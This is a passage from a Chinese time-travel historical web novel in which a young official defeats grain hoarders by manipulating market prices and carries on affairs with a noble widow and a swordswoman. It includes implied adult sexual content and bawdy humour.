既已下定决心,她自是要使尽万般手段,也定要让季褚铭记此夜露水情缘。 炙热的鼻息打在季褚脸上,以及眉眼间那一抹期待,令季褚情不自禁咽了口唾沫。 不是少女不够好,只怪姐姐大会摇。 季褚算是明白,为什么都说老a8那也是a8了,何况这还是一台车况保养极佳的a8。 拿这个考验干部,哪个干部经得住考验? “夫人切莫这般如此。”季褚虽然有点意犹未尽,但也清楚自身责任。 而且进来这么久,他也怕韩江雪担心冲进来。 “早闻郎君诗才,可愿为妾身赋诗一首?”朱玉润撑起身,试探道。 想了想,季褚脱口而出,“重过阊门万事非,同来何事不同归。梧桐半死清霜后,头白鸳鸯失伴飞。原上草,露初晞。旧栖新垅两依依。空床卧听南窗雨,谁复挑灯夜补衣。” 说完,拿起衣衫裹住了对方那曼妙的曲线。 好诗,更是好懂自己。 朱玉润怔愣的望着季褚,此诗可谓是直接念进了她的心坎,两行清泪宛如滚珠顺着眼角便滑落下来。 “夫人还是先穿好衣服,想哭待会儿慢慢哭就是,如今正事要紧。”季褚拍了拍对方肩膀,“还请夫人配合,让我先把粮草带走。” “嗯!” 片刻过后。 见季褚和宋夫人一起走出大堂,韩江雪暗暗松了口气。 论身份,宋夫人自然比不上临安郡主矜贵,可人家贵就贵在是长公主婆婆上。所以非到万不得已,她也不想看到兵戎相向的场面。 好在,季褚没有让人失望,总算是说服了宋夫人。 季褚走上前,跟韩江雪快速交代了几句,这时宋夫人也将宋管家带了过来,“季大人,粮草一事,你们找宋管家,他会听从你们调遣。” “夫人放心,此番绝不会令贵府有任何损失。” “老身自是相信大人。” 季褚:…… 这就晋升老身了? “粮草你们可以带走,不过老身还有一些事情需要大人解惑,烦请大人移步后堂,与我秉烛夜谈。” 季褚:…… “夫人不妨一同随我回城,这样也可以更好的保护夫人安全。” 朱玉润想了想,也确实在这顾家庄住腻了,点头应下,“那大人稍后,我这安排人收拾细软。” “夫人不必着急,粮草调配也需要一些时间。” 朱玉润欠身一礼,转身离开。 韩江雪安排手下带宋管家离开,立刻好奇道:“你是如何说服宋夫人的?” 季褚清了清嗓子,抬头仰望四十五度,“自然是本官的人格魅力。” “说人话!” “咳,今晚的月亮真圆润。” “罢了,爱说不说。” …… 宋府为了运这二十万石粮食,不可为不掏空家底。 单就发动的庄户就有四千人,还有一个八百人护卫队,牛马骡车三千辆,就这都有一部分需要通过水路用船运送过来。 每天人吃马嚼,便是一大笔支出。 倘若今个不同意季褚的意见,哪怕把粮食再运回去,也必然元气大伤。 连宋府如此,其他家亦是如此。 府库! 高士奇早就等候多时,真看到粮食一袋一袋搬进来,依旧有些难以置信,抽出一把衙役佩刀便走上前豁开了粮袋。 直到看见那哗哗流淌的粮食,再也绷不住,扑通一下跪在了地上,“哈哈哈哈,哈哈哈哈……天不亡我长葛百姓……” 季褚见状,正愁没机会报复一下对方,飞起就是一脚。 嘭的一声! 高士奇大喊大叫戛然而止。 高士奇扶正官帽,怒喝一声,“好胆,谁敢踹本官?” “怎得,高大人还想以下犯上?正好某这几日学了些许拳脚,不如你我二人今日做过一场?” 看着一双眼恶狠狠的季褚,高士奇气的浑身都哆嗦起来。 欺负我一个四十多岁的老头子,亏你说的出口。 “君子动口不动手,大人为何殴打本官,简直有辱斯文。” “你说为何,没看到正在卸车吗,简直一点眼力劲都没有。 不,你特娘但凡有点眼力劲,也不至于一大把年纪还是七品。 唉,本官今年不过弱冠,便已是圣人下旨亲封的五品近臣,人与人的差距何其大啊!” “你你你你……”高士奇简直气炸了肺。 呸,不要脸。 老子十年寒窗,那是一个字一个字读出来的。 你不过是仗着公主青睐,这才近水楼台,你有什么好骄傲的。 当然了,这话能在心里说说,他却不敢像季褚那般不顾脸面当场对峙。 毕竟季褚的确弄来了粮食,确实令人佩服。 “够了,别你你你的,立刻派人连夜张贴告示,明日恢复官粜一百二十文一斗,根据户籍信息定量购买,另告城中各大粮店,明日售卖价不得高于一百二十文一斗,违令者斩,并且抄没一切非法所得。” 高士奇也并非蠢人,闻言,眼睛顿时瞪的滚圆。 他悟了,他全明白了。 先前看不懂季褚的操作,那是因为不知粮自何来。 如今得知这批粮食来自京城宋家,再结合季褚之前的种种迷惑行为,他哪里还不清楚季褚的计划。 这是要以一个天价,将附近的粮商全部吸引过来,然后再一刀落下固定价格。 连百里外的京城宋家都来了,周边那些大小世家,粮商,能不被吸引过来? 妙,简直妙不可言,他之前怎么就没想到这个办法。 近的还好说,远地方来的,单一个运粮成本就会让人吃不消,不卖也得卖。 一想到那些无良奸商还敢来长葛刮地皮,高士奇的眼神渐渐发红,“大人,下官请令封锁官道,码头,定让他们有来无回。” 季褚惊讶的看了对方一眼,心说他也不是很蠢,竟然猜出了自己的用意。 “不必了,本官已经提前调集了府军。” “大人英明!”高士奇躬身一礼,他这回是真服了。 “本官可不敢承你高大人一声英明,请圣旨斩奸佞,万民血书,啧……”季褚重重拍了高士奇肩膀一下,“这里便交给你了,少一粒粮,本官一定摘了你的脑袋。 老高啊,你,耗子尾汁。” 说完,季褚转身出了粮仓,翻身上马用力一扯缰绳,“架!” 回到后衙,季褚刚要歇息,竹儿便敲门来报,“大人,宋夫人有请。” 第49章 高士奇emo,赵娘子登门投靠 季褚拉开房门,就见竹儿身边站着宋夫人的贴身大丫鬟春儿。 “竹儿你且休息,春儿,带路!” 很快二人便来到了朱玉润下榻的房间,“大人,夫人就在房间里。” “嗯,你也下去吧,我与夫人有要事相商。” “喏!” 春儿抿抿嘴,立刻躬身退离。 季褚四下观察了一下,并未发现有人,清了清嗓子,“来人!” 嗖! 一道人影悄无声息的从梁柱上落下。 季褚心道果然如此,还好某防了一手,“你也下去吧,五十米外戒备,我与夫人所谈之事甚大,不得任何人靠近。” “喏!” 人影嗖的一下,脚踩树梢,三两下便消失不见。 “啥时候我也能这般厉害。”季褚一脸感慨,随即轻轻扣响房门,哪成想,房门吱呀一声开了。 红纱帐后,水流熙熙,朦胧间可见一佳人正泡在浴桶里沐浴。 “大人为何踌躇不前?” “夫人,我可进来了熬!”季褚深吸了口气,迈步进了房间,反手将门落锁。 “没想到夫人矜贵之躯,也会亲自沐浴。” “大人能否帮妾身搓一下后背?”说着,水花阵阵,朱玉润双手合拢,优雅的趴到了浴桶上。 “今日多谢夫人相助,些许小事又有何妨,夫人稍后,某这便进入桶中,倾囊相授服侍夫人。” 付费内容,自是不谈。 翌日。 季褚伸了个懒腰,发现自己的精神格外充沛。 再看睡在一旁的宋夫人,眉眼间满是疲惫之意,不由一阵莞尔。 轻轻拿开搭在自己身上的手臂,不成想却惊扰了怀里的佳人。 “大人吃干抹净,可莫忘了答应妾身的话,你若做到,我的榻上永远有你一席之地。” “夫人放心。” “还叫夫人。”朱玉润娇嗔一声。 “咳,老朱放心,回头我就去游说公主与令郎和离。” 宋辉和李清瑶确实得和离了。 倒不是他见色起意,就胡乱答应。 不合离,自己和朱玉润,李清瑶的关系就有点乱。 而且,要想争位,公主府必须只有一个声音,任何不稳定因素都要排除出去。 哪怕朱玉润不提,自己也会找时机,劝公主和离。 不想当驸马的面首,不是好面首。 “讨厌,昨日妾身问你,你可没觉得妾身老,反而说妾身人如其名。 你们男人就没一个好东西,高兴的时候花言巧语,不开心了就叫人家老朱。” “开个玩笑。”季褚轻轻抓了一下,“好了,今日我还有事,你且好好休息。” “你再逗留几日?” “大概七八日吧?” “那晚上妾身等你。”朱玉润脸颊微红,一眨不眨的盯着季褚,“独守空闺十五载,昨晚是妾身最快乐的时候,怕是回了京城,你我再想见面就难了。” 季褚一想也对。 毕竟自己只是一个床榻上的社牛,床榻下的弱鸡。 翻墙都困难,更何况深更半夜要想见朱玉润一面,翻的可不止一堵墙。 “也罢,今晚我再来领教夫人的风采。” “急甚么急,天大的事也得填饱肚子。”朱玉润撑起身,对着屋外喊道:“春儿!” 季褚老脸一红赶忙看向门口。 就见春儿就好似没事人一样端着盆走了进来,“夫人是要更衣吗?” “服侍我起来吧!” 说完,堂而晃之的起身坐到了床头,任由春儿去拿衣服,一件一件穿戴身上。 季褚整个人都呆麻了。 这便是古代侍女的正确用法吗? 很快,朱玉润便穿戴整齐,挽了一个妇人发髻。 “大人且稍后,前日猎了一头鹿,本打算带回去饲养起来,今日让人杀了给你补补身体。”说完,朱玉润悄悄在春儿耳边低语几句,未施粉黛便出门而去。 季褚也终于享受了一把权贵老爷的体验。 先前竹儿只是帮他宽衣解带,人家春儿那是里里外外的清洗,整的他差点破防。 “春儿,你……” “刚刚夫人交代,她身子骨禁不住大人折腾,大人放心,奴婢来之前已经净口。” “嘶……” 季褚心里狠狠谴责封建糟粕,可看着面前的春儿又只道一声罢了。 谁让自己是穿越者呢,穿越者最喜欢支持别人的工作了。 一炷香后。 春儿拭净唇角,利利索索的帮季褚穿戴整齐。 吃饱喝足,季褚伸了个懒腰,精神抖擞的回到了自己住处,这会儿高士奇早已等候多时。 “大人!” “外面现在是个什么情况?”季褚道。 高士奇拱手,激动道:“百姓无不欢呼雀跃,按照大人的意思,根据户籍定量购粮,因核实起来速度太慢,为了尽快让城中百姓全都购买到粮食,所以下官在原有的基础上额外增加了十二个放粮点。 大人放心,下官已经理解了大人的意思,绝对不会拖大人后腿。” 季褚接过竹儿泡的茶,戏谑冷笑:“高大人拖的后腿还不够多吗?说吧,五大家族那边是什么反应?” 高士奇有些尴尬,“皆以闭店!” “闭店?”季褚冷冷一笑。 “没错,下官料定他们是想和咱们耗一耗。”提到这,高士奇瞬间来了精神,“所以下官每户定量定的都很少,只够一天正常温饱,有那二十万石粮食在,咱们就是拖也能拖到那些粮商按耐不住主动降价。” 说完,更是一脸期待的看着季褚。 好像在说,夸夸我,快点夸夸我。 季褚深吸了口气,用力抚了抚胸口,“老高啊……” “大人!” “罢了,我已无力说你。”季褚放下茶盏,“做官呢,眼界要开拓一些,他们此举真正意图是什么?耗下去的意义在哪儿?” “这……”高士奇一脸懵逼,难道我又做错了,“还请大人明示。” “耗,自然是耗到咱们无粮可售,如此一来,他们便可继续高价卖粮,我说的没错吧?” “大人英明,下官也正是看到了这一点,这才减少定量。” “蠢!” 高士奇:…… 我又哪里蠢了? “咱们无粮,可别人有呀,一个宋家就有二十万石,这些日子进入长葛的粮食,你觉得会少于宋家?” “啊,那大人的意思是?” “五大粮商闭店,其他粮商肯定也会观望,是不是又陷入了僵局? 他们要是跟着降价也就罢了,既然他们不愿意,咱们何不搅乱市场,制造恐慌。” “大人的意思是?” “敞开了卖!” 闻言,高士奇的脑瓜子瞬间不够用了,“以五大家族的财力,吞下这二十万石粮食易如反掌,万一……” 季褚戏谑一笑,“还说你不蠢,商人逐利,一旦我们大肆抛售,那些大商人财力雄厚可以等一等,那些小商人未必等得起。 届时,五大家族要吞下的可就不只有二十万石了。 一旦小商人跟风,市场突然涌入大量粮食,那些大商人如何坐得住? 人家大老远来你长葛干嘛来了,赚钱! 换成是你,大势不可违,现在摆在面前有两条路,一条少赚全身而退,一条血本无归,你如何选?” “自然是少赚……” 高士奇眼前一亮,“大人,吾悟了,这就去安排。” “另外传令给运粮车队,在城门口隔三差五翻几车粮食,让那些商人看看,咱们真的有粮食运进城。” “喏!”高士奇匆匆离开。 “大人当真是翻手为云,覆手为雨,好似什么问题都难不住大人,在下佩服。” 就在这时,一道女声自窗口响起,接着便见数十暗卫将人团团围住。 “且慢动手,放她进来。”季褚欣喜若狂赶忙喊道:“赵娘子,好手段,我等谈话时竟不知娘子躲在一旁偷听。” “不过是一些上不得台面的手段罢了,若那位高手在,小女子自然寸步难行。” “竹儿上茶。” 季褚挥手示意对方坐下,“敢问赵娘子今日前来所谓何事?” 赵娘子抱拳单膝跪在了地上,“先前多有得罪,实乃误信市井传言,还请大人赎罪。” “无妨,你我皆为同道,心怀百姓苍生,本官又岂是那种心胸狭隘之人。” 闻言,赵娘子眼神璀璨,再次抱拳,“子衿飘零半生,只恨未逢明主,大人若不弃,子衿愿意侍奉左右,保护大人周全,还望大人成全。” 季褚:…… 我滴个小心肝啊,那是砰砰一顿跳啊! 听听,听听,这话说的人心里暖呼。 季褚赶忙起身上前将赵子衿搀扶起来,“好好好,吾正思贤若渴,子衿今日来投,实乃吾之幸也。 青青子衿,悠悠我心。但为君故,沉吟至今! 从今往后,你我携手并进,这万里山河何所畏哉? 有卿护佑,定能遍历九州,广施恩泽,助黎庶百姓安乐无忧。” 此言一出,赵子衿可谓是感动的稀里哗啦,却听的一旁的竹儿直翻白眼。 季褚什么人,她天天在身旁伺候,还能不知道? 若非这次迫不得已,只怕他连府邸都不愿出,还遍历九州,广施恩泽…… “哎!”她忍不住瞄了一眼赵子衿那韩江雪同款皮肤,“难怪大人经常说熊大无脑,果真如此,当真好骗。” 不过她倒是很期待,看到对方看清季褚为人然后离他而去,季褚那生无可恋的样子。 第50章 可叹老夫早生数十年 城门口。 一辆辆运粮车有条不紊的排队入城,周围站满了围观百姓。 手中有粮,心中不方,这是历朝历代老百姓最基本的共识。 天灾来袭人心惶惶,如今终于看到了粮食,那一双双眼里散发着名为希望的东西。 可就在人群中,也有不少人正在穿梭小声散步着谣言。 “听说了吗,这些粮车都是假的。” “我三舅隔壁媳妇家六叔大儿子的发小就在值守府库,他说朝廷根本没有赈灾粮食,只不过是高大人为了稳定民心的缓兵之计。” “什么,官府粮站有粮卖?家人们啊,动动你那聪明的小脑袋瓜,要真有粮,何必定量销售?” “就是就是,我也听说了,好像是怕太子妃下榻长葛,灾民生变,这才不得已出此下策。” “官府限价肯定是为了逼迫城中粮商降价,你没瞧见么,粮商索性闭店了,要我看以后的日子肯定越来越,不如趁现在一起去府衙要个说法。” “就是就是,既然衙门说有粮,叫大家不必惊慌,何不放开限售敞开了让大家买?不让大家敞开了买,那就是在欺骗大家的感情。” 诸如此类的话,很快便在城门口蔓延开来,有人率先带头喊出去府衙要说法,立马就有人跟风。 不多时,那些被煽动裹挟的人就汇聚成了一道人流,朝着府衙而去。 不远处的醉仙楼上,五大老头齐齐站在窗户前远远看着城门口发生的一切。 “表兄,你说那季褚真的会放开限售吗?” 吕老冷哼一声,“任他季褚再狡诈无耻,也敌不过民意汹汹。” “可那狗贼不要碧莲啊……就怕他压根不理会。” “那就借这机会再给他加一把火,三皇子的人不也到了嘛,那就再送他一个平叛之功。”吕老揪着胡子恶狠狠道:“上次吾等吃亏,只因不知彼乃毫无底线的阴险小人。 此次吾等堂堂正正,定要教那阴沟里的老鼠无计可施。” “吕老言之有理,只要我五大家族同气连枝,必能报仇雪恨,教他死无葬身之地!”郑家主哈哈一笑,噶的一下,惊呼道:“吕老,你的胡子?” 众人闻言看去,却见吕老一不小心又揪掉了几根胡须。 张家主心道:表兄真是老了,竟然已经开始脱胡须了,不像我神枪无敌。 而这时,另外几大家主已经循着吕老目光趴到了窗沿向下看去。 就见两队衙役迅速将布告贴满各处,原本准备去县衙讨要说法的人流四散开来,纷纷围拢上去。 接着,下面便爆发出一阵阵惊呼。 “苍天有眼,真的有粮,真的有粮啊……” “快快快,后面的让让别拦着我,我要回家抢粮……” “后面的别挤了,官府放开限售条件,无限制供应粮食,高大人真是青天大老爷……” “快看,粮车翻了,是粮,是粮……” “还等什么,抢粮食去啊。” “赈灾粮食都到了,谁还买高价粮,再等等,肯定还会 更便宜……” …… 醉仙楼上。 五老头相互对视一眼,全都露出了一副不可置信的表情。 “莫非后续还有粮草送达?” “表兄,这可如何是好,我可是屯了数十万石高价粮食,一旦降价销售,必然血本无归啊!” “吕老,此番吾等该如何应对,还望您指点迷津!” 运粮车队从顾家庄而来,那么一大条运粮车队,只要一打听就知道,季褚不知用了什么手段,拿到了京城宋家那二十万石粮食。 所以大家选择关闭店铺,放出谣言,逼季褚放开限购。如此一来,区区二十万石,他们五大家族任何一家,眼睛都不用眨就能吃下。 一旦季褚再次陷入无粮可用的窘境,他们五大家族便可以继续收割财富。 可没想到,他们费心费力散步谣言,刚刚集结号兵马准备全军出击,人家自己就打开了一道口子。 这已经完全脱离了五大家族的掌控。 吕老用力扯着胡须来回踱步,心里快速盘算对方用意。 毕竟,他活了一大把年纪,还没见过季褚这般邪门的年轻人。 乍一看,季褚很有可能想用此法,营造出府衙不缺粮的假象,令粮商恐慌,从而相互倾轧。 可通过他们与三皇子那边的人联系,得知朝廷并无赈灾粮食派发,而长公主派出的购粮商队依旧在两淮一代徘徊。 换而言之,即便季褚后续有粮,也不在近期。 吕老突然顿住了脚,苦涩一笑,“真是老了啊,一朝被蛇咬十年怕井绳,我看那阴险小人就是在虚张声势,既然他敢卖,那么我们便敢收,等他无粮可用,看他如何是好。” “吕老,这事儿会不会有蹊跷?若真是虚张声势,为何还要多此一举,先定量,再放开?” “这便是那阴险小人奸诈之处。”吕老浑浊的眼眸散发着睿智的光忙,“我们与他打过几次交道,如他坑吾等几万两银子,若一开始他便狮子大开口,我们会给吗? 这次想必也是如此,先以定量试探吾等态度,见吾等索性关闭粮店,他未能达偿所愿,手中粮草有限,肯定担心吾等会趁机煽动百姓对抗,与其等着被百姓逼迫放开销售,不如主动出击。 主动放开销售本就提振人心,况那粮车早不翻晚不翻,为何翻的恰到好处? 诸位方才不也听到,下面的喊话。 粮食不缺了,百姓买粮屯粮的欲望自然大减,他便有更多时间寻找粮草。 此子奸诈归奸诈,但确实有才华,假以时日了不得啊,只可惜他遇上了老夫等人,岂能让他再次得逞!” 众人闻言,全都恍然大悟。 郑家主眼底闪过一抹杀气,心道:看来自己得想个法子帮三皇子除了此贼,决不能让他回到京城,成为三皇子的劲敌。 “好了诸位,去年大战损兵折将几乎掏空了国库,今年多地造灾,粮食再多也不愁卖,如今有人专门为吾等屯粮,我们应该高兴才是。” “哈哈哈哈,是极是极,也省的我们自己浪费人力心里四处屯粮了,就怕他那点量不够吾等塞牙缝的。” 就在这时,有小厮匆匆来报,对着郑家主躬身一礼,“老爷,孙大人的书信。” “拿来。” 郑家主赶忙接过书信撕开,一目十行的看了起来,脸上的喜色几乎溢于言表。 “孙大人信上怎么说?”吕老捋着胡子问道。 “哈哈哈哈,与吕老方才的分析并无二致,也让我们想尽一切办法将这批粮食吞下。”说完,郑家主将书信一一传阅。 吕老捋着胡子,看着下方乱作一团的街道,脸上浮起一抹淡淡的得意。 老夫也就早生了数十年,似季褚孙诩这等人都能成为太子三皇子座上宾,若生在当代,堂部天官必有老夫一席之地……哎,当真是一代不如一代了! 第51章 修,修的就是邪修 长葛县衙。 “大人,告示一出,并未激起百姓抢购之潮,反倒是买的粮食和先前的定量一般无二。”派去粮点盯梢的人赶来汇报。 “哦?竟有此事?”高士奇放下没写完的奏折,捋了捋胡须,随即哈哈哈大笑起来,“妙啊,季大人虽然年少,可对人性的把控,吾不及也。” “城中粮店可曾开门?” “未曾,不过有人几车几车的买,属下派人跟踪,发现都是五大家族的人。” “本官知道了,继续盯着。” 打发走下属,高士奇看了一眼尚未写完的奏章,起身来回踱步。 他感觉自己总得做点什么,来挽回一下在季褚心目中的形象。 八百里请旨,万民血书,都没令季褚伤筋动骨,他很庆幸,但又很内疚。 毕竟,他已经把季褚当成了自己同道中人,一个真正为民甘愿背负骂名的好官。 尤其是那一句句蠢,那一句句老高啊……让他如芒在背,翻覆无眠。 天天被骂蠢,骂糊涂,他老高一大把年纪的人了,也是有尊严的好吧? 所以,必须做点什么了,不能让人过于看轻自己。 思来想去,高士奇灵机一动,随即匆匆赶去了后衙。 “高大人何事?”季褚一脸狐疑。 “大人,方才下面人来报,五大家族已经出手,派人几车几车的购粮。下官斗胆献计,可否在价格上设置一些关卡,不仅能让五大家族损失惨重,还能加快其他粮商抛售的速度。” “哦,你说。”季褚闻言也不由来了兴趣。 “一斗粮食一百二十文,我们先前按照户籍信息出售,每人每天可买一斗,下官以为放开限制,但又不完全放开。 正常情况下每户存七天的粮足以应对一切,我们便以此为例,超过这个数量,多购买的粮食价格翻倍。 譬如一人欲购七日之粮,仍按一百二十文计,若超七日,多出部分则二百四十文,若超半月,则五百八十文。 以七日为界,购粮愈多,价格愈高。 如此一来,不仅可以降低粮草消耗的压力,那些观望的粮商见有利可图,自然也会失去了观望的耐心。 当然了,具体如何实施,还请大人定夺。” “行啊老高,识别一日当刮目相看,看来本官昨晚那一脚到是令你开了窍。” 季褚稍一琢磨,便摇了摇头,“计策是好计策,但是你没考虑到商人的贪婪,以及五大家族的财力。 若依此计策行事,必会看出吾等外强中干。 二十万石粮食看着多,可敞开了卖又能卖几日? 你是小粮商,你担心粮食卖不出去,所以你想尽快抛售离场,可别的粮商见你手中粮食卖出高价,会不会想着再等一等,说不定等等还能卖出更高的价格。 反正有人兜底,那还担心什么,左右不差这一两日。 还有一个最重要的问题,倘若五大家族不买其他粮商的粮食,只买平价官粜粮,你我又当如何应对?” “这……”高士奇彻底尬住了,他想说我们赚到的差价去买其他粮商的粮食。 可如此一来,岂不是更加佐证了府衙的窘境? 明明可以等着官粜售空,就能卖出更高的价格,谁会傻了吧唧现在就卖,放着钱都不赚? “是下官疏忽了。” 见他从顶花带刺老黄瓜秒变霜打歪茄子,季褚就知道这老小子内心有点抗住不了。 恨他不? 恨不能锤死他。 但咱季大人这点格局还是有的,宽慰道:“高大人也无需这般惺惺作态。 治政理民,能在这种情况下令长葛数日不乱,这一点本官不如你,但运筹帷幄你确实还差点火候。” “大人……下官,下官……” 闻言,高士奇真恨不能抽自己俩嘴巴子,两行热泪渐渐浑浊了眼眶。 多么胸怀宽广的季大人啊! 就连护卫在旁的赵子衿,一双勾魂夺魄的水眸之中都熠熠生辉。 遇此明主,此生无悔! “当真不必如此,你也不过天命之年,正是闯荡的年纪,慢慢学习,终有所悟。好了,下去吧!”季褚懒得看他在自己面前掉马尿。 “下官谨记大人教悔,还请大人再赐墨宝,下官必然悬挂名堂,日日牢记。” 这情绪价值给的,季褚想不赐都不行了,“罢了,那我便再给你写上一幅。” 季褚起身来到书案前拿起毛笔想了想,刷刷几下。 天命之年,正当闯。 吹干墨迹,递给了高士奇,立马双手恭敬接过。 送走感恩戴德的高士奇,季褚情不自禁的瞄了赵子衿一眼。 还真是赏心悦目。 “大人,在想何事?” “咳咳,无事,听说子衿的豆腐又白又嫩,不知本官是否有幸品尝?” “既然大人想吃子衿的豆腐,子衿这便去做,还请大人稍后。”赵子衿也是风风火火,说完便匆匆离开。 季褚老脸一红,突然感觉自己有点太邪恶了。 午宴,季褚便吃上赵子衿的豆腐。 “大人,味道如何?” “嗯,软软滑滑的,果然是人间佳品,难怪子衿的摊位前每日都有那么多人排队。” “那不过是些好色之徒罢了,以后的子衿的豆腐只给大人一人品尝。” “咳咳,好说好说。”季褚干笑一声,“对了子衿,你经常闯荡江湖,可曾听闻什么功夫,能让人短时间内成为高手?” “多高?” 一听有门,季褚顿时来了兴趣,一把拉住了对方小手。 赵子衿娇躯一颤,美艳的脸上渐渐染上了一抹红晕。 想要挣脱,却听季褚语重心长道:“你是不知道啊子衿,本官自幼苦读诗书,想着以后可以为天下百姓多做点实事。 可出仕以后才知人间险恶,暗箭难防。 如今再想弃文从武,已然来不及了,所以只要能自保就成,也不用太高,可飞檐走壁就行。” “大人,我可以为你摸摸骨吗?” “你摸,随便摸。” “大人可否先放手。” “哦,抱歉啊子衿,方才是我太过激动了。” “无,无妨,还请大人起身。” 季褚立刻照做,然后张开双臂,任由对方在自己身上捏来捏去。 “摸出了什么?” “虽然大人体魄强壮,但您并不适合习武,若早些年练习杀阵,或许能成为马上将军。” 闻言,季褚顿时一阵失落,同时在心里把那个安排他穿越,某个不可言状的狗东西骂了一遍。 穿越古代,你不安排个牛闪闪的身份,老子不挑你理,因为老子有智慧。 没金手指也无所谓,可你特娘给我安排个牛波一的小体格啊。 不说至尊骨,黄金瞳吧,起码也得是百年一遇的练功奇才,老头见了就想收为胯下童子的存在啊! “不过……” 闻言,季褚猛然回头,“不过什么?” “我早些年游历江湖,倒是得到过一本邪修秘籍,便是成年人也能修炼成高手,可大人如此光风霁月的谦谦公子,岂能能与邪修沾边。” 季褚激动的心,颤抖的手,已然不知如何安放,啪的一下搭在了赵子衿双肩上,“糊涂啊,子衿啊!” 赵子衿??? “何为邪修?何为正派?”季褚松开手,强忍激动来到窗前,“官代表的就是正义,可天下之大贪官多如狗,你能说官不是正义的一方吗? 在本官看来,无所谓正邪,正的是人,邪的是心。 只要心脏了,哪怕名门之后也是邪。 可只要堂堂正正,光明磊落,即便生在魔窟,那也只能说明他是正的发邪。” 邪修是什么,他可太懂了。 一些看起来十分离谱的“邪修”方法,实际上却是让有用的知识,以一种简单到诡异的方式让人理解透彻。 赵子衿怔愣的看着季褚,莫名就是一阵自责。 原来大人的胸怀比我想象中还要宽广。 “你且和我说说,那本秘籍邪在哪里?” “此功法,乃采阴补阳之双修秘术,不过……” 季褚的心瞬间慢了半拍。 只要能变强,修,修的就是邪修。 “不过什么?” “人身元阳,犹如烛火,有限而易尽。若久炼不辍,非但无益,反遭其咎,会加速修炼者衰老,往往活不过十年。” 季褚闻言,倒吸一口凉气。 尼玛,这咋和自己理解的邪修不一样呢? 那还要不要修? 季褚瞬间纠结起来。 第52章 今晚子时,你到子衿房间 短暂的想了几秒,季褚心里便有了主意。 既然有人能创造出这样的修炼功法,那说明这条路就是通的,只不过创造功法的人暂时未能将功法尽善尽美。 就自己这聪明机智的大脑袋瓜子,根据原版,整个2.0进阶版不过分吧? “敢问子衿,此等功法与女子有何坏处?” “额,坏处嘛……也不是没有,那便是让同修的女子越发痴迷修炼者。”赵子衿说完,脸颊便是一阵发烫。 没想到,季大人没有急着要功法,反倒是关注起了鼎炉的安危。 果然,邪的不是人,而是心。 越发的痴迷修炼者? 季褚心跳再次慢了半拍,这莫非就是自己的穿越金手指? 话说上一世,他也算是健身房的常客,小体格子练得杠杠结实,可纵使如此也是上一休三。 可这一世,面对含香那样的极品尤物,他可谓是日日无歇,精力反而越发充沛。 他感觉自己好像真的可以试试,阳,反正都是要损的,发现折寿大不了不练了呗。 “秘籍在哪儿,要不你给本官瞧瞧?” “这……” 见她吞吞吐吐,季褚生怕她因为担心不给,赶忙解释道:“子衿放心,本官绝对不会因噎废食,就是想试试,倘若真的有损寿元,绝对不会强求。” “此等害人的秘籍已经被我烧了……” 季褚:…… 烧了?烧了你还和我说个屁啊! 这不是给人抓痒痒,都抓不痛快么。 “不过……” “嘶,子衿以后有话直说,你我都是自己人,无需遮遮掩掩,想说什么就说什么。” “回大人,功法虽然被烧了,但子衿已经记在了脑子里,如果,如果大人真的想学,子衿,子衿可以在你体内运转心法……一遍就能学会。”赵子衿轻咬红唇,娇羞的把头扭到了一旁,一颗心扑通扑通乱跳起来。 季褚怔愣当场,有些狐疑的看着对方,心想是那种教吗? “敢问子衿,如何教我?” “子衿先去准备药材,今晚子时,你到子衿房间。” 说完,赵子衿红着脸,匆匆离开了房间。 季褚咕咚一下咽了口唾沫,随即使劲搓了下脸让自己冷静下来。 兴许是自己想多了呢! 不管了,反正说什么,他也得修炼一下试试。 匆匆过饭,唤来竹儿将碗筷收拾下去。 “呦,大人舍得唤竹儿了,竹儿还以为大人有了新欢就忘了竹儿呢。”竹儿酸酸的说。 季褚端起茶水嘬了一口,一脸正色道:“胡说什么,子衿刚刚归附,吾与她多交流交流,也是为了更好的令她收心。 都是为了殿下的大业,多一位忠诚可靠的高手就多一份实力。” “当真只是吃豆腐那般简单?” “不然呢?” “吃了什么大人心里清楚,我只希望大人能爱惜自己的身体,万一回去以后叫怜香娘子不满意,不叫大人上床就不美了。” 想到赵子衿刚才那一副狐媚子样,红着脸跑出去,竹儿就来气。 一来就勾引别人男人,真是不要脸。 还有季褚也是,你主动点,我还能不依了你? 我哪里比她差了,不就是比她的小吗?可和怜香一笔,我还大了一圈好嘛? 越想,竹儿越觉的委屈,感觉自己这个未来季府女主人的地位岌岌可危。 阴阳了一句,端着空盘子轻哼一声,便走出了房间。 季褚:…… 她又抽什么风啊? 但一想到竹儿身上藏的那些毒,他又不敢问。 “哎,终究不是自己人啊!”季褚无奈的叹了口气,来到窗户边喊道:“房梁!” 嗖! 一道人影垂落而下。 “京城那边可有消息传来?” “暂无!”被命名房梁的家伙一脸的死鱼状。 “以你的身手在江湖上排几流?” “一流。” “那韩大人呢?” “超一流。” “还有比超一流更厉害的吗?” “有宗师。” “宗师之上呢?” “大宗师。” 季褚狠狠抽了口冷子,“你能不能一口气说完?” “说完了。” “大宗师可以biubiu的甩特效吗?就是攻击时,产生异象?” “那是神仙!”房梁也是无语死了,这季褚脑瓜子里装的都是啥啊,真想给他敲开看看,估计也是被他问烦了,巴拉巴拉巴和他说了一遍江湖上的事儿。 大概意思稍微学点招式套路,遇上普通人嘎嘎乱杀的叫三流。 练出暗劲的叫二流,一人能打十个三流高手。 一流叫明劲,说白了就是将暗劲运用到了极致,飞檐走壁,一拳鸡蛋上,壳没事儿黄散了,都是对劲运用到极致的表现,这样的高手能打十个二流。 超一流又叫小宗师,对劲的运用以及招式都练到了一定的火候,韩江雪就是这一梯队,在如今的江湖上已经算得上凤毛麟角了,而赵子衿则属于一流顶尖,半步超一流。 练到一定境界,可以自创武学开门立派,便可以称之为宗师。 宗师老了,弟子多了,就可以称之为大宗师,更像是一个名头。 说白了,习武之人确实厉害,但强弱全看对战技巧经验,而所谓劲更像是耐力,你耐力强打起来就持久,像是biubiu放特效,一招毁天,一招灭地什么的压根不存在。 哪怕强如宗师,遇上数百铁骑冲杀,也只有撒丫子跑路的份儿。 “大人,有句话属下不知当讲不当讲?” “你说。” “别白费功夫了,习武靠天赋,你不行。 况且有吾等保护,大人的安全自然万无一失。” 好好好,互相伤害是吧? 季褚皮笑肉不笑道:“那赵子衿为何能偷听到我们谈话,嗯?” 房梁顿时一阵尴尬。 “吊上去吧!” “喏!” 季褚摇了摇头,反手关上窗户,出门去了宋夫人的小院。 “夫人怎得才刚吃饭?” 